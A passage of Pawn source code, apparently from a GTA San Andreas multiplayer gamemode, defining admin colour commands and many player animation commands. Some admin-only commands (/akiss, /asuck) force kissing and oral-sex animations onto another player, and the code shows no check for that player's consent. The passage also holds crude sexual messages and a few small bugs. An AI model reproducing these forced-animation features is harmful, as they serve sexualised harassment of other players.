	0x7B3E7EFF, 0x3C1737FF, 0x733517FF, 0x781818FF, 0x83341AFF, 0x8E2F1CFF, 0x7E3E53FF, 0x7C6D7CFF, 0x020C02FF, 0x072407FF,
	0x163012FF, 0x16301BFF, 0x642B4FFF, 0x368452FF, 0x999590FF, 0x818D96FF, 0x99991EFF, 0x7F994CFF, 0x839292FF, 0x788222FF,
	0x2B3C99FF, 0x3A3A0BFF, 0x8A794EFF, 0x0E1F49FF, 0x15371CFF, 0x15273AFF, 0x375775FF, 0x060820FF, 0x071326FF, 0x20394BFF,
	0x2C5089FF, 0x15426CFF, 0x103250FF, 0x241663FF, 0x692015FF, 0x8C8D94FF, 0x516013FF, 0x090F02FF, 0x8C573AFF, 0x52888EFF,
	0x995C52FF, 0x99581EFF, 0x993A63FF, 0x998F4EFF, 0x99311EFF, 0x0D1842FF, 0x521E1EFF, 0x42420DFF, 0x4C991EFF, 0x082A1DFF,
	0x96821DFF, 0x197F19FF, 0x3B141FFF, 0x745217FF, 0x893F8DFF, 0x7E1A6CFF, 0x0B370BFF, 0x27450DFF, 0x071F24FF, 0x784573FF,
	0x8A653AFF, 0x732617FF, 0x319490FF, 0x56941DFF, 0x59163DFF, 0x1B8A2FFF, 0x38160BFF, 0x041804FF, 0x355D8EFF, 0x2E3F5BFF,
	0x561A28FF, 0x4E0E27FF, 0x706C67FF, 0x3B3E42FF, 0x2E2D33FF, 0x7B7E7DFF, 0x4A4442FF, 0x28344EFF, 0xFF0000FF
			};
			SetPlayerColor(taraf, Colors[color]);
			new tarafn[40];
			GetPlayerName(playerid, sender, sizeof(sender));
			GetPlayerName(taraf, tarafn, sizeof(tarafn));
			new str[512];
			format(str, sizeof(str), "[Admin-Warn]: {FFFFFF}Admin %s was changed %s's special color to %i", sender, tarafn, color);
			SCM(playerid,COLOR_AdminWarn, str);
			new str2[512];
			format(str2, sizeof(str2), "Admin %s changed your special color to %i", sender, color);
			SCM(taraf,COLOR_AdminWarn, str2);
			SpecColor[taraf] = 1;
			return 1;
		}
		if(strcmp(cmd, "/UnSetColor", true) == 0)
		{
			if(PINFO[playerid][pAdmin] < 8 && PlayerInfo[playerid][pSponser] == 0) return SendMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command!");
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /unsetcolor <Playerid/PartOfName> ");
			new taraf = ReturnUser6(tmp);
			if(!IsPlayerConnected(taraf)) return SCM(playerid,COLOR_SINA3,"That player is offline.");
			if(PINFO[playerid][pAdmin] < PINFO[taraf][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
			if(PlayerInfo[playerid][pAdmin]==7||PlayerInfo[playerid][pAdmin]==8||PlayerInfo[playerid][pAdmin]==9)
		  {
		  if(taraf!=playerid)
		  {
			 SCM(playerid,COLOR_YELLOW2,"Error: You can't use this command on this syntax.");
			 return 1;
		  }
		  }
			new tarafn[40];
			GetPlayerName(playerid, sender, sizeof(sender));
			GetPlayerName(taraf, tarafn, sizeof(tarafn));
			new str[512];
			format(str, sizeof(str), "[Admin-Warn]: {FFFFFF}Admin %s was removed %s's special color", sender, tarafn);
			SCM(playerid,COLOR_AdminWarn, str);
			new str2[512];
			format(str2, sizeof(str2), "Admin %s unspecialed your color", sender);
			SCM(taraf,COLOR_AdminWarn, str2);
			SpecColor[taraf] = 0;
			SetPlayerToTeamColor(taraf);
			return 1;
		}
		if(strcmp(cmd, "/akiss", true) == 0)
		{
			if(PINFO[playerid][pAdmin] < 7 && PlayerInfo[playerid][pSponser] == 0) return SendMessage(playerid, COLOR_YELLOW2, "Error: Unknown command.");
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /akiss <Playerid/PartOfName>");
			new user = ReturnUser6(tmp);
			new taraf = ReturnUser6(tmp);
			if(!IsPlayerConnected(taraf)) return SCM(playerid,COLOR_SINA3,"That player is offline.");
			if(taraf == playerid) return SCM(playerid,COLOR_YELLOW2,"Error: You couldn't kiss yourself.");
			if(PINFO[playerid][pAdmin] < PINFO[user][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
			if(GetPlayerState(taraf) != PLAYER_STATE_ONFOOT) return SCM(playerid,COLOR_YELLOW2,"Error: That player has an invalid state.");
			if(!ProxDetectorS(20,taraf,playerid))return Error(playerid, "Error: This player is too far away.")
			new Float:pXX, Float:pYY, Float:pZZ;
			GetPlayerPos(playerid, pXX, pYY, pZZ);
			GetXYInFrontOfPlayer(playerid, pXX, pYY, 1.0);
			SetPlayerPos(taraf, pXX, pYY, pZZ);
			AnimPlay[playerid] = 1;AnimPlay[taraf] = 1;
			LoopingAnim(playerid,"KISSING", "Playa_Kiss_02", 3.0, 0, 0, 0, 0, 0);
			LoopingAnim(taraf,"BD_FIRE","Grlfrd_Kiss_03",3.0,0,0,0,0,0);
			SetPlayerFacePlayer(playerid, taraf);
			SetPlayerFacePlayer(taraf, playerid);
			GetPlayerName(playerid, sender, sizeof(sender));
			GetPlayerName(taraf, giveplayer, sizeof(giveplayer));
			new str[85];
			format(str, sizeof(str), "Admin %s forced you to kiss %s", sender, (PINFO[playerid][pSex]==1)?("him"):("her"));
			SCM(taraf,COLOR_Good, str);
			return 1;
		}
		if(strcmp(cmd, "/asuck", true) == 0)
		{
			if(PINFO[playerid][pAdmin] < 11) return SendMessage(playerid, COLOR_YELLOW2, "Error: Unknown command.");
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /asuck <Playerid/PartOfName>");
			new user = ReturnUser6(tmp);
			new taraf = ReturnUser6(tmp);
			if(!IsPlayerConnected(taraf)) return SCM(playerid,COLOR_SINA3,"That player is offline.");
			if(taraf == playerid) return SCM(playerid,COLOR_Good,"Error: You can't suck yourself dick.");
			if(PINFO[playerid][pAdmin] < PINFO[user][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
			if(GetPlayerState(taraf) != PLAYER_STATE_ONFOOT) return SCM(playerid,COLOR_YELLOW2,"Error: That player is in an invalid state.");

			//LoopingAnim(taraf,"BLOWJOBZ","BJ_COUCH_LOOP_W",4.1,0,1,1,1,1);
			LoopingAnim(taraf,"BLOWJOBZ","BJ_COUCH_LOOP_W",4.1,0,1,1,1,1);
			SuckGhofl[taraf] = 1;

//			new sender[40];
			GetPlayerName(playerid, sender, sizeof(sender));
			GetPlayerName(taraf, giveplayer, sizeof(giveplayer));
			new str[512];
			format(str, sizeof(str), "%s enabled suck-animation for you.", sender);
			SCM(taraf,COLOR_AdminWarn, str);
	//		new string[512];
		  format(string, 256, "[Admin-Warn]: {FFFFFF}Admin %s enabled Suck-Animation to %s.", sender, giveplayer);
			//ABroadCast(COLOR_AdminWarn,string,1);
			return 1;
		}
		if(strcmp(cmd, "/assuck", true) == 0)
		{
			if(PINFO[playerid][pAdmin] < 11) return SendMessage(playerid, COLOR_YELLOW2, "Error: Unknown command.");
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /assuck <Playerid/PartOfName>");
			new taraf = ReturnUser6(tmp);
			if(!IsPlayerConnected(taraf)) return SCM(playerid,COLOR_SINA3,"That player is offline.");

			if(GetPlayerState(taraf) != PLAYER_STATE_ONFOOT) return SCM(playerid,COLOR_YELLOW2,"Error: That player is in an invalid state.");


			SuckGhofl[taraf] = 0;

//			new sender[40];
			GetPlayerName(playerid, sender, sizeof(sender));
			GetPlayerName(taraf, giveplayer, sizeof(giveplayer));
			new str[512];
			format(str, sizeof(str), "%s disabled suck-animation for you.", sender);
			SCM(taraf,COLOR_AdminWarn, str);
//			new string[512];
		  format(string, 256, "[Admin-Warn]: {FFFFFF}Admin %s disabled Suck-Animation to %s.", sender, giveplayer);
			//ABroadCast(COLOR_AdminWarn,string,1);
			StopLoopingAnim(taraf);
			TogglePlayerControllable(taraf, 1);
			return 1;
		}
		if(!strcmp(cmd, "/fsup", true)) //by Sina
	{
	   if(PINFO[playerid][pAdmin] < 5) return SCM(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
	   tmp = strtok(cmdtext,idx);
		if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /fsup <PlayerID/PartOfName>");
		new user = ReturnUser6(tmp);
		new taraf = ReturnUser6(tmp);
		if(!ProxDetectorS(5,playerid,taraf)) return SCM(playerid,COLOR_SINA,"That player isn't near you.");
	   if(!IsPlayerConnected(taraf)) return SCM(playerid, COLOR_YELLOW2, "Error: That player isn't connected.");
	   if(PINFO[playerid][pAdmin] < PINFO[user][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
	   if(taraf == playerid) return SCM(playerid,COLOR_Good,"Error: You Can't Sup YourSelf.");
		if(PlayerCuffed[playerid] != 0 || IsPlayerInAnyVehicle(playerid))
		{
			SendClientMessage(playerid, COLOR_SINA, "Can't use that when You're not On-Foot.");
			return 1;
		}
	  // new sttrr[256];
	   //format(sttrr,256,"{FFFFFF}Admin %s used Force-Sup on %s.", PINFO[playerid][pName], PINFO[taraf][pName]);
	   //AdminWarn(sttrr);
	   SetCameraBehindPlayer(playerid);
	   SetCameraBehindPlayer(taraf);
	   LoopingAnim(playerid, "GANGS","hndshkfa_swt",4.0,0,0,0,0,0);
	   LoopingAnim(taraf, "GANGS","hndshkfa_swt",4.0,0,0,0,0,0);
	   for(new i;i<25;i++)
	   {
		  SetPlayerFacePlayer(playerid, taraf);
		  SetPlayerFacePlayer(taraf, playerid);
	   }
	   return 1;
	}
		if(strcmp(cmdtext, "/wankoff", true) == 0)
		{
		if(PINFO[playerid][pAdmin] < 10) return SCM(playerid, COLOR_YELLOW2, "Error: Unknown command.");
				if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA85,"Cannot use that when you are not On-Foot."); return 1; }
				LoopingAnim(playerid,"PAULNMAC","wank_in",4.0,1,1,1,1,0);
				AnimPlay[playerid] = 1;
				return 1;
		}
		if(strcmp(cmd, "/suck", true) == 0)
		{
			if(PINFO[playerid][pAdmin] < 10) return SCM(playerid, COLOR_YELLOW2, "Error: Unknown command.");
			SendMessage(playerid,COL_SYN,"Syntax: /sucker /suckfm"); return 1;
		}
		if(strcmp(cmd, "/sucker", true) == 0)
		{
		if(PINFO[playerid][pAdmin] < 10) return SCM(playerid, COLOR_YELLOW2, "Error: Unknown command.");
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA85,"Cannot use that when you are not On-Foot."); return 1; }
			tmp = strtok(cmdtext,idx);
			if (!strlen(tmp))
			{
				SendMessage(playerid,COL_SYN,"Syntax: /sucker [1-2]"); return 1;
			}
			new animid = strval(tmp);
			if(animid == 1) {LoopingAnim(playerid,"BLOWJOBZ","BJ_COUCH_START_W",4.1,0,1,1,1,1);AnimPlay[playerid] = 1; }
			else if(animid == 2) { LoopingAnim(playerid,"BLOWJOBZ","BJ_COUCH_LOOP_W",4.1,0,1,1,1,1);AnimPlay[playerid] = 1; }
			else { SendMessage(playerid,COL_SYN,"Syntax: /sucker [1-2]"); }
			return 1;
		}
		if(strcmp(cmd, "/suckfm", true) == 0)
		{
		if(PINFO[playerid][pAdmin] < 10) return SCM(playerid, COLOR_YELLOW2, "Error: Unknown command.");
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA85,"Cannot use that when you are not On-Foot."); return 1; }
			tmp = strtok(cmdtext,idx);
			if (!strlen(tmp))
			{
				SendMessage(playerid,COL_SYN,"Syntax: /suckfm [1-2]"); return 1;
			}
			new animid = strval(tmp);
			if(animid == 1) {LoopingAnim(playerid,"BLOWJOBZ","BJ_COUCH_START_P",4.1,0,1,1,1,1);AnimPlay[playerid] = 1; }
			else if(animid == 2) { LoopingAnim(playerid,"BLOWJOBZ","BJ_COUCH_LOOP_P",4.1,0,1,1,1,1);AnimPlay[playerid] = 1; }
			else { SendMessage(playerid,COL_SYN,"Syntax: /suckfm [1-2]"); }
			return 1;
		}



		// Suck :D



		if(strcmp(cmdtext, "/stand", true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid,"WUZI","Wuzi_stand_loop", 4.0, 1, 0, 0, 0, 0);
			AnimPlay[playerid] = 1;
			return 1;
		}
		if(strcmp(cmdtext, "/gift", true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid,"KISSING","gift_give",4.0,0,0,0,0,0);
			AnimPlay[playerid] = 1;
			return 1;
		}
		if(strcmp(cmdtext, "/slapped", true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid,"SWEET","ho_ass_slapped",4.0,0,0,0,0,0);
			AnimPlay[playerid] = 1;
			return 1;
		}
		if(strcmp(cmdtext, "/goshaad", true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid,"SKATE","skate_run",4.1,1,1,1,1,1);
			AnimPlay[playerid] = 1;
			return 1;
		}
		if(strcmp(cmdtext, "/eatsit", true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid,"FOOD","FF_Sit_Loop", 4.0, 1, 0, 0, 0, 0);
			AnimPlay[playerid] = 1;
			return 1;
		}
		if(strcmp(cmdtext, "/thankyou", true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid,"FOOD","SHP_Thank", 4.0, 1, 0, 0, 0, 0);
			AnimPlay[playerid] = 1;
			return 1;
		}

		// Yek Shan

		if(strcmp(cmd, "/ainvite", true) == 0)
		{

		if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			tmp = strtok(cmdtext,idx);
			if (!strlen(tmp))
			{
				SendMessage(playerid,COL_SYN,"Syntax: /ainvite [1-2]"); return 1;
			}
			new animid = strval(tmp);
			if(animid == 1) {LoopingAnim(playerid,"GANGS","Invite_Yes",4.1,0,1,1,1,1);AnimPlay[playerid] = 1; }
			else if(animid == 2) {LoopingAnim(playerid,"GANGS","Invite_No",4.1,0,1,1,1,1);AnimPlay[playerid] = 1; }
			else { SendMessage(playerid,COL_SYN,"Syntax: /ainvite [1-2]"); }
			return 1;
		}
		if (strcmp("/robman", cmdtext, true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid, "SHOP", "ROB_Loop_Threat", 4.0, 1, 0, 0, 0, 0); // Rob
			AnimPlay[playerid] = 1;
			return 1;
		}


		if(strcmp(cmd, "/bed", true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			tmp = strtok(cmdtext,idx);
			if (!strlen(tmp))
			{
				SendMessage(playerid,COL_SYN,"Syntax: /bed [1-4]"); return 1;
			}
			new animid = strval(tmp);
			if(animid == 1) {LoopingAnim(playerid,"INT_HOUSE","BED_In_L",4.1,0,1,1,1,1);AnimPlay[playerid] = 1; }
			else if(animid == 2) {LoopingAnim(playerid,"INT_HOUSE","BED_In_R",4.1,0,1,1,1,1);AnimPlay[playerid] = 1; }
			 else if(animid == 3) {LoopingAnim(playerid,"INT_HOUSE","BED_Loop_L", 4.0, 1, 0, 0, 0, 0);AnimPlay[playerid] = 1; }
			  else if(animid == 4) {LoopingAnim(playerid,"INT_HOUSE","BED_Loop_R", 4.0, 1, 0, 0, 0, 0);AnimPlay[playerid] = 1; }
			else { SendMessage(playerid,COL_SYN,"Syntax: /bed [1-4]"); }
			return 1;
		}
		
		/*
		if(strcmp(cmd, "/stopmp3all", true) == 0) {
		if(PINFO[playerid][pAdmin] < 7) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
		for(new i = 0;i<Akharish;i++) {
		if(IsPlayerConnected(i)) {
		StopAudioStreamForPlayer(i);
		}
		}
		return 1;
		}
		*/
		
		

		if(strcmp(cmd, "/stopmp3", true) == 0) {
		StopAudioStreamForPlayer(playerid);
		return 1;
		}


		/*
		if(strcmp(cmd, "/mp3all", true) == 0)
		{
			if(PINFO[playerid][pAdmin] < 8) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			new result[145];
			result = strtokEx(cmdtext, idx);
			if(!strlen(result))
			{
				SendMessage(playerid, COL_SYN, "Syntax: /mp3all <Link>");
				return 1;
			}
			for(new i = 0;i<Akharish;i++) {
			if(IsPlayerConnected(i)) {
			PlayAudioStreamForPlayer(i, result);
			}
			}
			return 1;
		}
		*/
		
		/*
		if(strcmp(cmd, "/headphone", true) == 0 || strcmp(cmd, "/hf", true) == 0)
		{
		if(PlayerInfo[playerid][pPremiumAccount] < 1) return SCM(playerid, COLOR_YELLOW2, "Error: You haven't premium account.");
		new buyabler[1024];
		format(buyabler,sizeof(buyabler),"Put Headphone \t\nPickup Headphone \t\nPlay music \t\nPause music");
		ShowPlayerDialog(playerid,3203,DIALOG_STYLE_LIST,"Headphone:",buyabler,"Select","Cancel");
		return 1;
		}
		*/

		// Yeki SHan

		if(strcmp(cmd, "/carsit", true) == 0)
		{
			tmp = strtok(cmdtext,idx);
			if (!strlen(tmp))
			{
				SendMessage(playerid,COL_SYN,"Syntax: /carsit [1-2]"); return 1;
			}
			new animid = strval(tmp);
			if(animid == 1) {LoopingAnim(playerid,"CAR","Tap_hand", 4.0, 1, 0, 0, 0, 0);AnimPlay[playerid] = 1; }
			else if(animid == 2) {LoopingAnim(playerid,"LOWRIDER","Sit_relaxed", 4.0, 1, 0, 0, 0, 0);AnimPlay[playerid] = 1; }
			else { SendMessage(playerid,COL_SYN,"Syntax: /carsit [1-2]"); }
			return 1;
		}


		if(strcmp(cmdtext, "/getup", true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid,"PED","getup",4.0,0,0,0,0,0);AnimPlay[playerid] = 1;
			return 1;
		}
		if(strcmp(cmdtext, "/liftup", true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid, "CARRY", "liftup", 3.0, 0, 0, 0, 0, 0);AnimPlay[playerid] = 1;
			return 1;
		}
		if(strcmp(cmdtext, "/shkhead", true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid, "MISC", "plyr_shkhead", 3.0, 1, 0, 0, 0, 0);AnimPlay[playerid] = 1;
			return 1;
		}

		if(strcmp(cmdtext, "/checkout", true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid, "GRAFFITI", "graffiti_Chkout", 4.0, 0, 0, 0, 0, 0);AnimPlay[playerid] = 1;
			return 1;
		}
		if(strcmp(cmd, "/walk", true) == 0)
		{
		if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			tmp = strtok(cmdtext,idx);
			if (!strlen(tmp))
			{
				SendMessage(playerid,COL_SYN,"Syntax: /walk [1-16]"); return 1;
			}
			new animid = strval(tmp);
			if(animid == 1) { LoopingAnim(playerid,"PED","WALK_gang1",4.1,1,1,1,1,1);AnimPlay[playerid] = 1; }
			else if(animid == 2) { LoopingAnim(playerid,"PED","WALK_gang2",4.1,1,1,1,1,1);AnimPlay[playerid] = 1; }
			else if(animid == 3) { LoopingAnim(playerid,"FAT","FatWalk",4.1,1,1,1,1,1); AnimPlay[playerid] = 1;}
			else if(animid == 4) { LoopingAnim(playerid,"WUZI","CS_Wuzi_pt1",4.1,1,1,1,1,1);AnimPlay[playerid] = 1; }
			else if(animid == 5) { LoopingAnim(playerid,"WUZI","Wuzi_walk",3.0,1,1,1,1,1); AnimPlay[playerid] = 1;}
			else if(animid == 6) { LoopingAnim(playerid,"POOL","Pool_walk",3.0,1,1,1,1,1); AnimPlay[playerid] = 1;}
			else if(animid == 7) { LoopingAnim(playerid,"PED","Walk_player",3.0,1,1,1,1,1); AnimPlay[playerid] = 1;}
			else if(animid == 8) { LoopingAnim(playerid,"PED","Walk_old",3.0,1,1,1,1,1); AnimPlay[playerid] = 1;}
			else if(animid == 9) { LoopingAnim(playerid,"PED","Walk_fatold",3.0,1,1,1,1,1); AnimPlay[playerid] = 1;}
			else if(animid == 10) { LoopingAnim(playerid,"PED","woman_walkfatold",3.0,1,1,1,1,1); AnimPlay[playerid] = 1;}
			else if(animid == 11) { LoopingAnim(playerid,"PED","woman_walknorm",3.0,1,1,1,1,1); AnimPlay[playerid] = 1;}
			else if(animid == 12) { LoopingAnim(playerid,"PED","woman_walkold",3.0,1,1,1,1,1); AnimPlay[playerid] = 1;}
			else if(animid == 13) { LoopingAnim(playerid,"PED","woman_walkpro",3.0,1,1,1,1,1); AnimPlay[playerid] = 1;}
			else if(animid == 14) { LoopingAnim(playerid,"PED","woman_walkshop",3.0,1,1,1,1,1); AnimPlay[playerid] = 1;}
			else if(animid == 15) { LoopingAnim(playerid,"ped","WOMAN_walksexy",4.1,1,1,1,1,1); AnimPlay[playerid] = 1;}
			else if(animid == 16) { LoopingAnim(playerid,"ped","WALK_player",4.1,1,1,1,1,1); AnimPlay[playerid] = 1;}
			else { SendMessage(playerid,COL_SYN,"Syntax: /walk [1-16]"); }
			return 1;
		}
		if(strcmp(cmd, "/sexy", true) == 0)
		{
		if(PINFO[playerid][pAdmin] < 10) return SCM(playerid, COLOR_YELLOW2, "Error: Unknown command.");
		if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA85,"Cannot use that when you are not On-Foot."); return 1; }
			tmp = strtok(cmdtext,idx);
			if (!strlen(tmp))
			{
				SendMessage(playerid,COL_SYN,"Syntax: /sexy [1-8]"); return 1;
			}
			new animid = strval(tmp);
			if(animid == 1) { LoopingAnim(playerid,"SNM","SPANKING_IDLEW",4.1,0,1,1,1,1);AnimPlay[playerid] = 1; }
			else if(animid == 2) { LoopingAnim(playerid,"SNM","SPANKING_IDLEP",4.1,0,1,1,1,1);AnimPlay[playerid] = 1; }
			else if(animid == 3) { LoopingAnim(playerid,"SNM","SPANKINGW",4.1,0,1,1,1,1); AnimPlay[playerid] = 1;}
			else if(animid == 4) { LoopingAnim(playerid,"SNM","SPANKINGP",4.1,0,1,1,1,1);AnimPlay[playerid] = 1; }
			else if(animid == 5) { LoopingAnim(playerid,"SNM","SPANKEDW",4.1,0,1,1,1,1); AnimPlay[playerid] = 1;}
			else if(animid == 6) { LoopingAnim(playerid,"SNM","SPANKEDP",4.1,0,1,1,1,1); AnimPlay[playerid] = 1;}
			else if(animid == 7) { LoopingAnim(playerid,"SNM","SPANKING_ENDW",4.1,0,1,1,1,1); AnimPlay[playerid] = 1;}
			else if(animid == 8) { LoopingAnim(playerid,"SNM","SPANKING_ENDP",4.1,0,1,1,1,1); AnimPlay[playerid] = 1;}
			else { SendMessage(playerid,COL_SYN,"Syntax: /sexy [1-8]"); }
			return 1;
		}




		if(strcmp(cmd, "/camera", true) == 0)
		{
		if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
		LoopingAnim(playerid, "CAMERA", "PICCRCH_IN", 4.0, 1, 0, 0, 0, 0);AnimPlay[playerid] = 1;
		return 1;
		}
		if(strcmp(cmd, "/strip", true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SendMessage(playerid,COL_SYN,"Syntax: /strip <1-18>");
			switch (strval(tmp))
			{
					case 1: { LoopingAnim(playerid,"STRIP", "strip_A", 4.1, 1, 1, 1, 1, 1 ); AnimPlay[playerid] = 1; }
					case 2: { LoopingAnim(playerid,"STRIP", "strip_B", 4.1, 1, 1, 1, 1, 1 ); AnimPlay[playerid] = 1; }
					case 3: { LoopingAnim(playerid,"STRIP", "strip_C", 4.1, 1, 1, 1, 1, 1 ); AnimPlay[playerid] = 1; }
					case 4: { LoopingAnim(playerid,"STRIP", "strip_D", 4.1, 1, 1, 1, 1, 1 ); AnimPlay[playerid] = 1; }
					case 5: { LoopingAnim(playerid,"STRIP", "strip_E", 4.1, 1, 1, 1, 1, 1 ); AnimPlay[playerid] = 1; }
					case 6: { LoopingAnim(playerid,"STRIP", "strip_F", 4.1, 1, 1, 1, 1, 1 ); AnimPlay[playerid] = 1; }
					case 7: { LoopingAnim(playerid,"STRIP", "strip_G", 4.1, 1, 1, 1, 1, 1 ); AnimPlay[playerid] = 1; }
					case 8: { LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0); AnimPlay[playerid] = 1; }
					case 9: { LoopingAnim(playerid, "CAR", "FLPG_DROP", 4.0, 1, 0, 0, 0, 0); AnimPlay[playerid] = 1; }
					case 10: { LoopingAnim(playerid, "CASINO", "MANWIND", 4.0, 1, 0, 0, 0, 0); AnimPlay[playerid] = 1; }
					case 11:{ LoopingAnim(playerid, "DANCING", "DAN_DOWN_A", 4.0, 1, 0, 0, 0, 0); AnimPlay[playerid] = 1; }
					case 12:{ LoopingAnim(playerid, "DANCING", "DAN_LEFT_A", 4.0, 1, 0, 0, 0, 0); AnimPlay[playerid] = 1; }
					case 13:{ LoopingAnim(playerid, "DANCING", "DAN_LOOP_A", 4.0, 1, 0, 0, 0, 0); AnimPlay[playerid] = 1; }
					case 14:{ LoopingAnim(playerid, "DANCING", "DAN_RIGHT_A", 4.0, 1, 0, 0, 0, 0); AnimPlay[playerid] = 1; }
					case 15:{ LoopingAnim(playerid, "DANCING", "DAN_UP_A", 4.0, 1, 0, 0, 0, 0); AnimPlay[playerid] = 1; }
					case 16:{ LoopingAnim(playerid, "DANCING", "DNCE_M_A", 4.0, 1, 0, 0, 0, 0); AnimPlay[playerid] = 1; }
					case 17:{ LoopingAnim(playerid, "DANCING", "DNCE_M_D", 4.0, 1, 0, 0, 0, 0); AnimPlay[playerid] = 1; }
					case 18:{ LoopingAnim(playerid, "DANCING", "DNCE_M_E", 4.0, 1, 0, 0, 0, 0); AnimPlay[playerid] = 1; }
					case 19:{ LoopingAnim(playerid, "STRIP", "STR_LOOP_A", 4.0, 1, 0, 0, 0, 0); AnimPlay[playerid] = 1; }
					case 20:{ LoopingAnim(playerid, "STRIP", "STR_LOOP_C", 4.0, 1, 0, 0, 0, 0); AnimPlay[playerid] = 1; }
					default: { SendMessage(playerid,COL_SYN,"Syntax: /strip <1-18>"); }
			}
			return 1;
		}
		if(!strcmp(cmd,"/face",true))
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SendMessage(playerid,COL_SYN,"Syntax: /face <1-3>");
			new anim = strval(tmp);
			if(anim == 1) {LoopingAnim(playerid, "PED", "FACANGER", 4.0, 1, 0, 0, 0, 0);AnimPlay[playerid] = 1;}
			else if(anim == 2) {LoopingAnim(playerid, "PED", "FACGUM", 4.0, 1, 0, 0, 0, 0);AnimPlay[playerid] = 1;}
			else if(anim == 3) {LoopingAnim(playerid, "PED", "FACSURP", 4.0, 1, 0, 0, 0, 0);AnimPlay[playerid] = 1;}
			else return SendMessage(playerid,COL_SYN,"Syntax: /face <1-3>");
			return 1;
		}
		if(!strcmp(cmd,"/win",true))
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SendMessage(playerid,COL_SYN,"Syntax: /win <1-3>");
			new anim = strval(tmp);
			if(anim == 1) {LoopingAnim(playerid, "CASINO", "MANWIND", 4.0, 1, 0, 0, 0, 0);AnimPlay[playerid] = 1;}
			else if(anim == 2) {LoopingAnim(playerid, "ON_LOOKERS", "SHOUT_02", 4.0, 1, 0, 0, 0, 0);AnimPlay[playerid] = 1;}
			else if(anim == 3) {LoopingAnim(playerid, "OTB", "WTCHRACE_WIN", 4.0, 1, 0, 0, 0, 0);AnimPlay[playerid] = 1;}
